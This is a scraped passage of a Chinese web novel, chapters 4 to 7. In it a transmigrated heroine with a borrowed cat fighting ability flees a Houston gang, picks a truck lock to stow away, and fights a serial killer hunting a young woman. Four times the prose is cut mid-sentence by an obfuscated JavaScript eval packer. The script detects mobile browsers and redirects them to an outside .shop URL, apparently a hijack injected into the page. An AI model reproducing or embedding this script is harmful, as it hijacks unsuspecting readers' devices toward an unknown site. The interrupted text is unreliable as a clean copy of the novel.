李菲在空中调整姿势,落地时顺势转身,一脚踹在他的太阳穴上。 光头闷哼一声,眼睛一翻,直挺挺地栽倒在地,手里的钢管哐当一声滚出老远。 【倒计时:01:58】 巷子里立时安静了许多。 只剩下脏辫男痛苦的喘息声。 李菲慢慢转过身,看向跪在地上的脏辫男。 她弯腰,捡起地上的钢管,冰冷的金属触感传来,让她紧绷的神经稍稍安定。 她握着钢管,一步步朝着脏辫男走去。 “咔哒、咔哒……”钢管的底端蹭过地砖,发出瘆人的声响,像催命的鼓点,一下下砸在脏辫男的心上。 脏辫男抬起头,看着一步步朝自己走来的李菲。 忽明忽暗的路灯,把女孩的影子拉得细长。她背着光,周身笼罩在一层模糊的光晕里,看不清具体的表情,只能看到那双亮得惊人的眼睛。 漆黑的眼眸中,没有丝毫人类的情绪,只有冰冷的、审视猎物的漠然。 刚才她拧断耳钉男手腕、踹晕光头的画面,在他脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753415|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 里疯狂闪过。 恐惧化作毒蛇,顺着他的脊椎向上,缠住他的心脏。 “不、不要过来……”他哆哆嗦嗦地往后缩,声音抖得不成样子,“我错了,求求你……放过我吧!” 李菲没有说话。 她停下脚步,居高临下地看着他,手里的钢管微微上扬。 轻轻一个动作,成了压垮心理防线的最后一根稻草。 巨大的惊惧瞬间冲垮脏辫男的意志,他眼睛一翻,直接吓晕过去。 李菲看着他晕死过去的模样,紧绷的肩膀终于放松下来,瞳孔渐渐恢复正常。 系统:【检测到宿主已脱离危险,能力租借剩余时长:01:40。是否解除能力?】 李菲:【是。】 【黑猫夜间搏击能力解除。】 随着系统的声音响起,那股支撑着她的热流迅速退去。 李菲全身的肌肉开始不受控制地抽搐,关节处传来撕裂般的疼痛。 每一块骨头都在叫嚣着酸痛,仿佛刚才那几分钟,耗尽了她这辈子所有的力气。 这是使用与自身不匹配能力的后遗症。 猫的骨骼结构、发力方式,和人类截然不同,强行被猫的本能接管身体后,每一块肌肉、每一处关节,都在承受着超出负荷的损耗。 脚踝的伤势愈发严重,已经有些红肿了。 李菲再也支撑不住,双腿一软,瘫倒在地,冷汗瞬间浸透了T恤。 她抬起头,看着横七竖八倒在地上的三个□□打手,扯了扯嘴角,露出一个疲惫的笑。 赢了。 她活下来了。 不久,远处传来警笛声,应该是附近的居民报了警。 这里不能再待了。 蝎子帮在休斯顿势力盘根错节,警局里少不了他们的眼线。一旦被带回警局做笔录,蝎子帮的人分分钟就能知道她的下落。 李菲咬着牙,拄着钢管站起身,缓了足足半分钟,这才一瘸一拐地离开了巷子。 远离事发地后,李菲没有往灯火通明的市区走,而是拐进了更偏僻的土路,专挑人烟稀少的地方走。 她需要找一个人少的地方歇脚,等身体恢复一点力气,再想办法离开休斯顿。 凌晨的风带着郊野的尘土味,吹在脸上又干又冷。她拄着钢管走了快一个小时,眼前终于出现一处废弃的院落,看起来像是个倒闭多年的修车厂。 生锈的大铁门半开着,门轴被风吹得发出吱呀的轻响,院墙塌了大半,里面黑漆漆的,连虫鸣都没有,安静得只剩下风声。 李菲站在门口,借着微弱的月光仔细观察了片刻,确认四周无人,也没有车辆停留的痕迹,才顺着半开的铁门,小心翼翼地走了进去。 修车厂里到处都是废弃的汽车零部件,轮胎堆得像小山,机油渍在水泥地上晕开一片片黑印。 她绕到厂房最里面,找了个背风、又能看清门口动静的角落,靠着冰冷的墙壁坐下,把钢管横在腿上,紧绷了一夜的神经终于稍稍放松下来。 困意像潮水一样涌上来,她闭上眼,不过一会儿,就沉沉睡了过去。 不知睡了多久,一阵刺耳的轮胎碾过碎石的声音,突然从修车厂门口传来。 有人来了! 李菲陡然惊醒,浑身的汗毛都竖了起来。 5. 第5章 大半夜的,这种荒无人烟的废弃修车厂,除了她这种走投无路的倒霉鬼,怎么会有人来? 难道是蝎子帮的人顺着痕迹追过来了? 李菲在心里暗骂一声,握紧手边的钢管,屏住呼吸,猫着腰迅速起身,躲到一堆半人高的破铜烂铁后面。 她透过缝隙,朝门口望去。 刺眼的车灯晃了一下,随即熄灭。 一辆老旧的福特货车缓缓驶入修车厂,停在了厂房中央。 车身被人用油漆涂得花花绿绿,画着咧嘴笑的红鼻子小丑、五颜六色的氢气球,还有旋转木马的卡通图,车斗侧面用歪歪扭扭的黄色字体写着【泡泡马戏团】。 油漆斑驳,车身布满锈迹,看着有些年头了。 不是蝎子帮的车。 李菲悬到嗓子眼儿的心,缓缓落地,后背却已浸出了冷汗。 车门打开,驾驶座上下来一个男人。 夜色太浓,看不清他的长相,只能看出大概三十岁出头的年纪,个子不算矮,背却有些佝偻,穿一件洗得发白的牛仔外套,裤脚沾着泥点,手里攥着一个手电筒。 他下车后,随手关了车门,打着手电筒,径直朝着另一头的废弃仓库走去。 听着男人的脚步声越走越远,李菲才从铁架后面走出来,放轻脚步,谨慎地绕到了货车副驾驶座旁。 副驾驶的车窗没关严,留了一道缝。借着月光往里看,一眼就看到了摊在座椅上的公路地图。 地图上,从休斯顿出发,沿着I-10 公路一路往西前往亚利桑那州图森市的路线,被人用黑笔勾勒得清清楚楚。 沿线的十几个城镇,都用红笔圈起来,旁边标注着日期。 最靠前的,是休斯顿东北方的博蒙特,日期写着7月8日,也就是两天前;再往后,是伯内特,印象中是个风景宜人的乡村小镇,原主小时候跟着养父母去那里度过假,距离休斯顿300多公里,红笔标注的日期,是7月11日。 李菲的心脏猛地跳了一下。 现在是凌晨时间,严格来说,已经是7月11日了。 她的目光继续往后扫,地图上越往西的城镇,标注的日期越靠后,每两个地点之间,平均只隔了一两天。 这是个移动的马戏团。 李菲迅速得出推论。 这些红圈和日期,大概率是定好的巡演日程。 而这个废弃修车厂,就位于出城的主干道旁,由此看来,这辆车,应该是准备连夜赶路,前往三百公里外的伯内特。 如果是这样……李菲的脑中悄然生出一个念头。 她现在迫切地需要离开休斯顿,可身无分文,别说长途大巴,连一张短途公交票都买不起,想靠公共交通离开,根本不可能。 这辆马戏团的货车,就是她眼下离开休斯顿的绝佳机会。 可念头刚起,警惕又涌上心头。 她刚从格雷的陷阱里逃出来,太清楚人心险恶了。 她此刻孤身一人,半夜搭一个陌生男人的便车,实在有些冒险。万一对方和蝎子帮有联系,或者本身不是什么好人,那就是刚出虎穴,又入狼窝。 她靠在车身上,听着远处男人在仓库里翻找东西的哗啦声,脑子里飞速权衡着。 留在休斯顿,蝎子帮的人迟早能找到她,到时只有死路一条。 跟着这辆车走,至少能先离开这个是非之地,等到了伯内特,蝎子帮的手伸不了那么远,她才有喘息的机会。 因此,她眼下要做的,就是在不惊动对方的前提下,偷偷搭上这趟便车。 李菲很快拿定主意。 她竭力放轻脚步,悄悄绕到货车的后车厢。 车厢后面的铁门是双开式的,两扇门中间挂着一把老式的铜制挂锁,门扇之间裂开了一道两指宽的缝隙。 凑到缝隙前往里看,里面有折叠起来的铁架、蒙着布的木箱、一捆捆彩色的帆布,还有几个圆滚滚的小丑皮球……车厢里堆得满满当当,只在中间留了一道窄窄的过道。 和她猜的分毫不差。 这确实是辆马戏团的车。 李菲收回目光,低头研究起那把挂锁。 是最老式的弹子锁,结构简单,只要一点小技巧,很容易就能打开。 前世在福利院长大,她跟着院里的一个哥哥学过些开锁的本事,这么多年过去,也没忘干净。 她转身在旁边的废铁堆里翻了翻,很快找到一根粗细合适的细铁丝,掰弯了顶端。 然后屏住呼吸,把铁丝插进锁孔,指尖轻轻感受着里面弹子的跳动,慢慢转动锁芯。 “咔哒”一声轻响。 锁开了。 前后不过十几秒。 李菲心里一喜,小心翼翼地拉开一扇铁门,动作轻得没有发出一点声响。 她快速闪身钻进车厢,反手把门拉回原位,又从门缝里伸出手,把挂锁重新扣回了锁扣里,车厢门很快恢复了原状。 她刚缩回身,躲进两个摞起来的木箱中间,就听到了男人的脚步声,从仓库那头朝着货车这边过来了。 李菲立刻屏住呼吸,把自己缩成一团,连大气都不敢喘。 脚步声越来越近,男人嘴里哼着不成调的乡村民谣,背上背着一个黑色的包。 他拉开另一侧的车厢门,随手把包扔进来,黑包落地发出咚的一声闷响,离李菲藏身的地方,只有不到两米远。 李菲的心跳瞬间提到了嗓子眼,身体绷得像一张拉满的弓。 男人没往里面多看,扔完东西,就随手关上了门,咔哒一声,把挂锁重新锁好了。 脚步声渐渐远去,绕回了驾驶座。 没过多久,货车的发动机发出一阵轰隆的轰鸣,车身微微震动起来。 车子缓缓发动,调转方向,驶出了废弃修车厂,朝着出城的主干道开去。 货车驶上洲际公路,车轮碾过路面的接缝,传来规律又轻微的颠簸。 李菲贴着车厢门缝往外看,路牌上的白色箭头清晰地指着西向,休斯顿的市区灯火早已被远远甩在身后,彻底消失在夜色里。 她悬了整整一夜的心,终于落到了实处。 紧绷的神经一松,铺天盖地的困意瞬间涌了上来。 她缩在两个木箱之间的空隙里,把钢管横在身前当防身的武器,后背靠着硬实的箱壁,闭上眼没一会儿,就陷入了浅眠。 她不敢睡死,这一路的惊心动魄早已让她将警觉拉到了高点,哪怕睡觉,耳朵也始终留意着车外的动静。 不知过了多久,货车突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753416|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 然发出一阵刺耳的刹车声,车身猛地一顿,停了下来。 李菲骤然惊醒,浑身的肌肉绷紧,死死攥住手里的钢管。 这么快就到伯内特了? 她立刻凑到门缝处往外看,外面的天色依旧是沉得化不开的墨蓝色,离天亮还有好一阵子。 货车停在了荒无人烟的洲际公路边,风卷着路边的荒草,发出沙沙沙的声音。 驾驶座的车门被推开,司机跳了下来。他依旧佝偻着背,随手带上车门,转身朝着路边走去。 很快,两道带着焦急的年轻声音,顺着风飘进车厢里。 “太好了,终于有车停下了!”是个女孩的声音,带着激动和急切,“先生,你能帮帮我们吗?我们的车抛锚了,救援电话也打不出去……” “我们在这等了快一个小时了,您是第一个停下来的车,真是太感谢了!” 紧接着是个年轻男人的声音,满是窘迫和感激。 李菲松了口气。 原来是遇到了半路抛锚的人求助,不是蝎子帮的人追上来了,也不是司机发现了她。 她依旧贴在门缝上,看着外面的动静。 借着车灯,可以看到卡车身后不远处的路边,停着一辆二手轿车,引擎盖掀着,一男一女两个年轻人站在车边,看着不过二十左右的年纪。 通过三人简单的交谈,得知穿着连帽卫衣的男人叫埃里克·布朗,他身侧的女孩裹着一件外套,叫凯瑟琳·布鲁姆,货车司机则自称里德尔。 里德尔站在引擎盖前,佝偻着背,听埃里克说着汽车故障,然后点点头,声音温和:“我看看吧,我开马戏团的车跑了十几年的路,这些老车的毛病,多少懂一点。” 凯瑟琳高兴地低呼一声,连声道着谢。埃里克也松了口气,殷勤地给里德尔递工具。 里德尔接过扳手就俯身检查起了引擎,动作熟练得很。不过十几分钟,他直起身,合上引擎盖,拍了拍手上的灰:“好了,小毛病,线路松了,你打火试试。” 埃里克连忙走向驾驶室,准备拉开车门坐进去。可就在他弯腰的瞬间,里德尔脸上温和的笑意消失了,他佝偻的背猛地挺直,没有半分犹豫,抡起手里的扳手狠狠砸在了埃里克的后脑勺上! “咚” 的一声闷响,在寂静的公路上格外刺耳。 埃里克连哼都没哼一声,身体一软,直接顺着车门滑了下去,倒在地上没了动静。 “埃里克!!” 凯瑟琳发出一声撕心裂肺的尖叫,脸色惨白如纸。 她连退好几步,看着眼前突然变脸的里德尔,浑身抖得像筛糠,转身就朝着路边的荒野逃去。 里德尔低笑一声,声音里的温和荡然无存,只剩下阴冷的狠戾。他拎着扳手,大步流星地追了上去,两人的身影很快就冲进路边半人高的荒草丛中。 车厢里的李菲,整个人都呆住了。 她脑子里一片空白,只剩下铺天盖地的荒诞和绝望,心里有一万句脏话想要骂出来。 天杀的。 不愧是自由美利坚!处处是陷阱,遍地是变态! 刚从黑/帮的追杀里逃出来,躲过了瘾君子的背叛,结果转头就遇上了变态法制咖? 她上辈子到底是造了什么孽,要把她这么往死里坑?! 6. 第6章 李菲的第一反应,就是跑。 现在里德尔追着凯瑟琳进了荒野,短时间内回不来,这是她唯一的逃生窗口。 她快速摸出兜里的细铁丝,手指因紧张而有些抖,速度却丝毫不受影响,三两下捅开了车厢的挂锁,拉开一条缝,就要往下跳。 恰在此时,远处的荒草里,传来了凯瑟琳惊恐而绝望的呼救,紧接着是里德尔阴恻恻的笑声。 李菲跳车的动作一顿,浑身的血一下子冲上了头顶。 要救人吗? 这个念头刚冒出来,就被理智迅速掐灭。 她并不是什么爱心泛滥的人,福利院长大的日子,早就教会她明哲保身,多一事不如少一事。 更何况上辈子就是因为一时心软跳湖救人,把自己的命搭进去,落到如今这般境地。 血淋淋的教训就在眼前,她凭什么再为了一个陌生人,把自己置身于危险中? 更何况她现在体力仍未恢复,浑身肌肉痛得像是被拆开重组过,受伤的脚踝肿得跟个发面馒头。 自己都是泥菩萨过河自身难保,如何救人? 她不是猫,没有九条命。 李菲咬咬牙,把刚冒出来的恻隐之心狠狠压了下去。 等她逃到安全的地方,打个报警电话就算仁至义尽了。至于这对情侣能不能撑到警察来,全看他们自己的命。 她不再犹豫,一咬牙跳下车厢,落地时脚踝传来一阵剧痛,差点跪下去。 然后扶着车站稳,一瘸一拐地绕到驾驶座,拉开车门一瞧——钥匙孔里空空如也。 那个法制咖下车的时候,居然不忘拔走货车钥匙! “靠。” 李菲低声骂了一句。 难道要拖着这副残躯,靠两条腿在这荒郊野岭跑路? 她倚在车身上,飞快思索对策。 这里前不着村后不着店,往东是来时的休斯顿方向,往西是伯内特,里德尔追着凯瑟琳进了路边的荒野,等他返回,应该会按原计划继续往西走。 她只要反方向往东跑,大概率能避开这个变态。 打定主意,她不再停留,捏紧钢管绕到车后,朝着来时的公路东侧快步走去。 经过那辆抛锚的二手车时,她瞥了一眼倒在驾驶座门口、后脑勺还在流血的埃里克,心里没起半点波澜,只在心里默念了一句阿弥陀佛,脚步没有停。 可就在她即将走过车头的瞬间,眼角余光扫到驾驶座右侧的储物盒上,赫然放着一个黑色的物件。 李菲的眼睛瞬间亮了。 这是大哥大!哦,也就是手提电话,她在90年代的港片中见到过。 有这东西,她就能立刻报警,就算不救人,也能让警察来堵里德尔,自己跑路也更安全! 她立刻转身,一边从口袋里摸出之前在超市顺手买的一包纸巾,一边朝车内弯腰探去,然后隔着纸巾拿起手提电话——她不想在这凶案现场留下自己的指纹。 可按下开机键,屏幕却没有亮起,她反复按了几次,机身一点反应都没有。 没电了。 也是,要是有电,这对情侣也不至于在路边傻等一个小时,拦车求助。 李菲心里的小火苗 “啪” 地一下就灭了,她撇了撇嘴,把电话放回原位,转身继续朝后走。 就在这时,一只冰凉的手突然死死抓住了她受伤的脚踝。 钻心的剧痛瞬间从脚踝窜上来,疼得李菲直接飙出眼泪来,刚要骂出声,低头就看见,原本倒在地上的埃里克竟然醒了。 他脸色惨白,气若游丝地从喉咙里挤出几个字:“救、救命……求你……” “你快放开!” 李菲疼得龇牙咧嘴,想把脚抽回来,又怕扯到伤口,“我会去前面找电话报警,叫警察来救你们的!” 埃里克却没松手,反而用尽力气,颤颤巍巍地抬手指了指自己的牛仔裤兜,断断续续地吐出两个字:“钥、钥匙……” 话音刚落,他脑袋一歪,两眼一闭,又晕了过去。 李菲愣了愣,收回脚,蹲下身探了探他的鼻息,还有气,只是昏过去了。 她松了口气,眉头却皱得更紧了。 鬼使神差地,她伸手进埃里克的裤兜,果然摸出了一把汽车钥匙。 手里的钥匙冰凉,李菲看着不远处黑黢黢的荒草,听着里面已经彻底消失的人声,心里天人交战。 她深吸了一口气,对着空气低声说了一句:“好,一切就交给你们的上帝吧。这车如果能开,我就去救你女朋友。要是开不了,就真的不关我的事了。” 钥匙插进了锁孔,轻轻一拧。 下一秒,发动机的轰鸣传来—— 那个法制咖,竟然真的把车修好了! 李菲握着方向盘的手紧了紧,朝着荒草的方向看了一眼,依旧没有半点动静,也不见有人折返。 她低头看了眼身边的钢管,轻声在心里问:【系统,我之前的黑猫夜间搏斗能力,还剩1分40秒对吧?】 【是的。】 【能接连使用吗?】 【可以,但不建议。以宿主目前的身体状况,已经超负荷,建议24小时后再使用。】 李菲没接话,又问:【你能检测到那个女孩的生命值情况吗?】 【不能。】 车厢里陷入了死寂,只有发动机平稳的运转声。 李菲靠在椅背上,闭了闭眼。 上辈子溺水时的窒息感,原主跳河前的绝望,还有刚才凯瑟琳那声撕心裂肺的惨叫,在脑海里翻来覆去。 算了。 她就再多管一次闲事。 有技能傍身,她应该没那么容易死……吧? 李菲打定主意后,不再犹豫。废了九牛二虎之力,把昏迷的埃里克从地上拖起来,塞进车后座,然后回到驾驶座,握紧方向盘,狠狠踩下油门。 轿车发出一声轰鸣,直直朝着里德尔和凯瑟琳消失的那片荒野,飞驰而去。 *** 凯瑟琳根本不敢回头。 她的肺像要炸开一样,每一口呼吸都带着血腥味,树枝划破了她的脸颊和胳膊。身后的脚步声不紧不慢,像随时能夺走她性命的死神,始终和她保持着不远不近的距离。 里德尔手里攥着那把埃里克刚才递给他的扳手,上面还沾着机油和埃里克后脑勺的血。 他没打算立刻抓住她。 他嘴里哼着跑调的乡村民谣,声音温和,却听得人心里发慌: “好姑娘,跑吧,再跑快点,今晚还长着呢。” 看着凯瑟琳在前面跌跌撞撞地跑,看着她被树根绊倒,看着她爬起来继续哭着往前冲,里德尔的脸上露出满足的笑容。 对他来说,杀戮只是结果,猎物在绝望中挣扎的过程,才是最美味的盛宴。 他甚至故意在岔路口走错方向,让凯瑟琳以为自己甩掉了他,等她靠在树上大口喘气,刚松口气,又忽然从树后走出来,看着她再次恐惧尖叫,里德尔的心情愈发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753417|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 愉悦。 就这样追追停停了近20分钟,凯瑟琳的体力早已透支,脚步越来越慢,眼前开始发黑。 她知道自己跑不动了,再这样下去,迟早会被里德尔抓住,像敲埃里克一样,被一扳手敲碎脑袋。 这时,她看到前方的树林深处,隐约露出几个巨大的灰色圆筒,横躺在半埋的土坑里。 那是一片废弃的石油中转站。 数十个卧式钢制储油罐歪歪扭扭地立在那里,一半埋在土里,一半露在外面,罐体锈迹斑斑,爬满了藤蔓,地面上到处都是漏油留下的黑色污渍和废弃的油管。 每个储油罐的顶部,都有一个仅容一人通过的圆形检修口,用生锈的铁盖盖着,罐体侧面焊着简易的铁梯,方便工人攀爬。 凯瑟琳冲进罐区,来不及多想,选了一个靠里的油罐,爬了上去。 然而,就在她沾满油污的鞋底踩在扶梯上时,她忽然顿住了,看着扶梯上清晰的油脚印,脑中闪过一道灵光。 下一秒,就见她爬上罐顶,在检修口边缘踩了两下后,脱下鞋,一只手拎着鞋,另一只手扶着油罐边缘,从罐顶另一侧滑下去,然后小心翼翼地绕开地上的油污,轻手轻脚地爬进离那座罐子足够远的另一座储油罐。 几乎就在她躲进储油罐的一刻,里德尔的脚步声出现在储油罐区入口。 他歪着头打量着这片废弃的钢铁坟墓,扳手轻一下重一下地敲着掌心,嘴角慢慢咧开一个笑容。 “躲猫猫?”他低声说,脸上露出一种病态的兴奋,“好。我喜欢这个游戏。” 他悠闲地走向第一座储油罐,扳手敲了敲,罐体中发出几声沉闷的声响。 “咚——咚——” 仿若催命的丧钟。 他故意放慢脚步,逐一敲响每一座油罐,让声音不断静谧的罐区响起。他不着急,猎物已经困在笼子里了,他要好好享受这个过程。 很快,他的脚步一顿。 他看见了,那个罐顶检修口的梯子上,留着几个清晰的黑色鞋印。 鞋印上的油泥还没干透,在月光下泛着湿润的光泽,方向直指罐口。 “找到你了。”里德尔舔了舔嘴唇,眼里闪过一丝兴奋的亮光。他双手攀住罐口边缘,身体往上一撑,整个人便翻上了油罐顶部。 “嘭”的一声,检修口铁盖被掀开。 罐子里一片漆黑,只有罐口投进来一缕月光,照出腐朽的锈壁和残留的油渣。他眯着眼睛扫了一圈,角落里、罐壁旁、罐底深处—— 什么都没有。 她根本没钻进来。 里德尔愣了一下,随即反应过来自己被耍了。 一个被他当老鼠戏弄的女人,在逃命的时候,耍了他! 里德尔猛地站起来,环扫四周一圈,视线很快停在另一侧的地面上,那里有一串极淡的痕迹。 像是有人用什么东西轻轻抹过泥土表面,把原本可能留下的痕迹抹平了。 她不是慌不择路地乱跑。 她故意留了鞋印,还知道事后抹掉自己的踪迹。 “贱人!” 他气得浑身发抖,从油罐上跳下来,抡起扳手疯狂地砸着身边的罐体,”哐哐”的巨响震得人耳膜发疼。 油罐区还剩三十多个储油罐没检查,一个个爬上去搜,至少要半个多小时。 “妈的!” 里德尔双眼赤红,嘴里不停骂着脏话,脸上再无之前的半分从容,只剩下被激起的暴怒。 7. 第7章 李菲把油门踩到底。 二手轿车的头灯切开荒原的风,野草擦过底盘沙沙作响。她握着方向盘的手指发白,脚踝的刺痛已经不太碍事了,急速上升的肾上腺素,让她保持着此刻最需要的清醒。 往前开了不到两百米,一片密密麻麻的树林横亘在前方,树木之间拥挤不堪,别说这辆破车,连摩托都挤不进去。 李菲踩下刹车,熄了火。 正准备推门下车,后座传来了一声痛苦的呻吟。 埃里克醒了。 他捂着后脑勺坐直身子,迷迷糊糊扫了一眼窗外漆黑的树林,又看了看驾驶座上的李菲,脸色猛地变了。震惊和愤怒一下子涌了上来,他忘了自己还在流血,拔高声音质问:“这是哪里?你不去警局,把我带到这种鬼地方想干什么?!” 李菲回头,冷冷扫他一眼。 “干什么?救你女朋友啊,怎么……你不管你女朋友死活了?” 埃里克的声音瞬间卡壳,到了嘴边的怒骂硬生生咽了回去,他捂着后脑勺缩了缩脖子,声音立刻软了下来,带着哭腔:“我、我头好疼,还在流血……我需要止血,后备箱有药,求求你……帮帮我好不好?” 李菲没说话,推开车门绕到后备箱,“哐当” 一声掀开盖子,翻出一个医药箱,转身扔给后座的埃里克。医药箱砸在座椅上,碘伏和纱布滚了出来。 “自己包!” 李菲从车座底抽出钢管,语气里满是不耐烦,“我没时间陪你耗。” 埃里克手忙脚乱地接住医药箱,嘴唇动了动,还想说什么,看到李菲手上的钢管,立刻闭上嘴。 李菲没再理他,往前走了几步,望着密不透风的树林皱起了眉。 这片树林太大了,里面连条像样的路都没有,这么盲目地进去找,猴年马月能找到人? 她暗骂一声,快步折返回车旁,“埃里克。” 埃里克抬起头,手里攥着纱布,手还在抖。 “凯瑟琳有没有什么常用的、味道特别大的东西?香水、护手霜都行,能留下气味的。” 埃里克愣了一下,显然没明白她要这种东西做什么。但他的目光下意识地落在副驾驶座位上那个黑色手包上。 “那个……那个就是她的手提包。里面有她天天喷的香水,味道特别浓,走到哪都能闻到。” 李菲探身捞起那个手提包。 经典的菱格纹,双C扣,皮质在月光下泛着哑光。前世上大学时,宿舍有个富二代室友也有这款包,隔三差五拿出来保养,李菲看了四年,闭着眼都能认出来——香奈儿Coco手袋。上辈子和这辈子,她都买不起的东西。 她拉开拉链,里层是口红、化妆镜、纸巾,角落里果然躺着一只造型奇特的香水瓶。紫罗兰色的水晶玻璃,雕刻成矮胖的南瓜造型,瓶盖是银色的圆球。 瓶身上写着两个醒目的英文单词:【Dior Poison】。 迪奥紫毒香水。 好极了,又是一个她买不起的东西。 她疑惑地扫了眼埃里克身上的衣物,嗯,全身上下加起来不过几十美元的便宜货。 而他的女朋友,用的却都是大牌。 富家女和穷小子? 算了,现在不是深究这些的时候。 李菲拧开瓶盖,凑到鼻尖。 一股浓郁又魅惑的香气扑鼻而来,混合着李子的甜、晚香玉的柔,还有檀木的沉,在夜里穿透力极强。 “我进去找她。” 她站在车边,头也不回地交代,“你就在车里待着,锁好车门。必要时,就来接应我们。” 埃里克连忙点头,“好、好!你小心……” 踏入树林的第一秒,李菲就在心里说道: 【系统,开启黑猫夜间搏击能力。】 【警告:宿主身体已严重超负荷,再次启用能力将导致肌肉撕裂、关节脱臼风险提升87%,是否确认?】 【确认。】 【能力租借生效,倒计时:01:39。】 一股熟悉的热流瞬间涌遍全身,脚踝的刺痛和肌肉的酸痛暂时被压了下去。 周围原本黑黢黢一片的荒野随之变得无比清晰,嗅觉成倍放大,泥土的腥味,草木的清香,还有那股极淡的的迪奥紫毒香水味,清晰地飘进了她的鼻子里。 李菲没有犹豫,压低身子,像猫儿一样,悄无声息地钻进了树林,循着那股淡淡的香水味,朝着树林深处快速跑去。 香水的味道断断续续。 中途先是被灌木丛里的野花干扰,晚香玉和野花香混在一起,让她放慢了速度,后又被泥沼的潮气盖住,她需要在空气里反复辨别,才能重新找到那一缕飘散的麝香。 但好在,气味始终没有断。 【倒计时:00:27】 系统提示音落下时,金属撞击的闷响和男人的怒骂声,顺着风飘了过来。 李菲眼睛一亮,找到了。 她循着声音的方向潜过去,悄无声息地爬上一座罐顶,借着猫的夜视能力往下看。 里德尔就在七八米外的地方,骂骂咧咧地朝下一个油罐走去。 此刻的里德尔,胸腔里烧着滔天的怒火。 他追了那个小贱人整整半个小时,像猫捉老鼠一样逗着她玩,看着她哭着跑、摔着爬,本以为马上就能享受胜利的果实,结果居然被她摆了一道。 “别让我找到你!” 他啐了一口唾沫,用扳手狠狠砸在油罐壁上,发出哐当的巨响,“等我抓住你,我要把你的头皮活剥下来,做成最漂亮的假发!” 【倒计时:00:15】 李菲的目光飞快扫过周围。 罐顶离地面两米多,侧面垂着一根胳膊粗的铁链,末端挂着个锈迹斑斑的铁钩。 里德尔背对着她,完全没有察觉头顶有人。 李菲脑子飞转,快速计算出最佳伏击位置,从兜里摸出一块路上捡的碎石,朝着里德尔左前方的油罐扔了出去。 “当啷——” 里德尔猛地扭头,通红的眼睛瞬间锁定声音来源。 “啧啧,原来躲在这儿!”他舔了舔嘴唇,提着扳手朝那个油罐走去。 就是现在! 李菲抓住时机,纵身从罐顶跃下。 然后借着下落的力道拽紧铁链,整个人像钟摆一样从罐体侧面荡了出去。 铁链在掌心磨得发烫,发出嘎吱的呻吟。在荡到最高点的一刻,她骤然松手,身体借着惯性飞出去,双脚结结实实地踹在了里德尔的后腰上。 里德尔闷哼一声,整个人往前扑倒,额角狠狠磕在油罐边缘,扳手脱手飞出去老远。 剧痛让他眼前发黑,脑子里嗡嗡作响。 怎么回事?谁在偷袭? 他撑着地面想要爬起来,后背的剧痛让他倒抽一口冷气。 是那个女孩?不可能!那个只会躲在罐子里的小贱人,怎么可能有这么大的力气? 还没等他想明白,一阵风声从身后袭来。 李菲已经落地,顺势一个翻滚卸掉冲击力,反手抽出别在腰后的钢管,对着他撑地的右手狠狠砸下。 “咔嚓!” 骨头断裂声伴随着惨嚎响起。 里德尔的右手软软地垂了下去,整个人再次趴回地上,他猛地转过头,死死盯着身后的李菲。 不是凯瑟琳。 这个女的是谁?她什么时候来的? 无数个疑问在脑子里蹦出,但他现在已经思考不了那么多,怒火已经冲昏了头脑—— 他居然被一个丫头片子打断了手! “我要杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753418|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了你!” 他用左手撑着地面,挣扎着想要站起来,眼里满是疯狂的杀意。 李菲绕到他侧面,趁着他翻身的空档,双手举起钢管,对准他的膝盖就要砸下去——废了他的腿,让他彻底失去行动能力。 可就在这时,系统提示音响起: 【倒计时:00:00】 【能力租借时长结束,黑猫夜间搏击能力解除。】 钢管还没落下,热流从体内陡然抽走。 全身肌肉像一根绷到极限的弦,刹那间断了。 李菲的身体瞬间脱力,手里的钢管“哐当”掉在地上,双腿一软,整个人重重跪倒在泥地里。 肌肉撕裂般的疼痛从四肢百骸涌上来,每一寸关节都在尖叫,视线开始发黑,连抬手的力气都没有了。 里德尔正准备迎接砸下来的钢管,结果却看到李菲突然倒下。 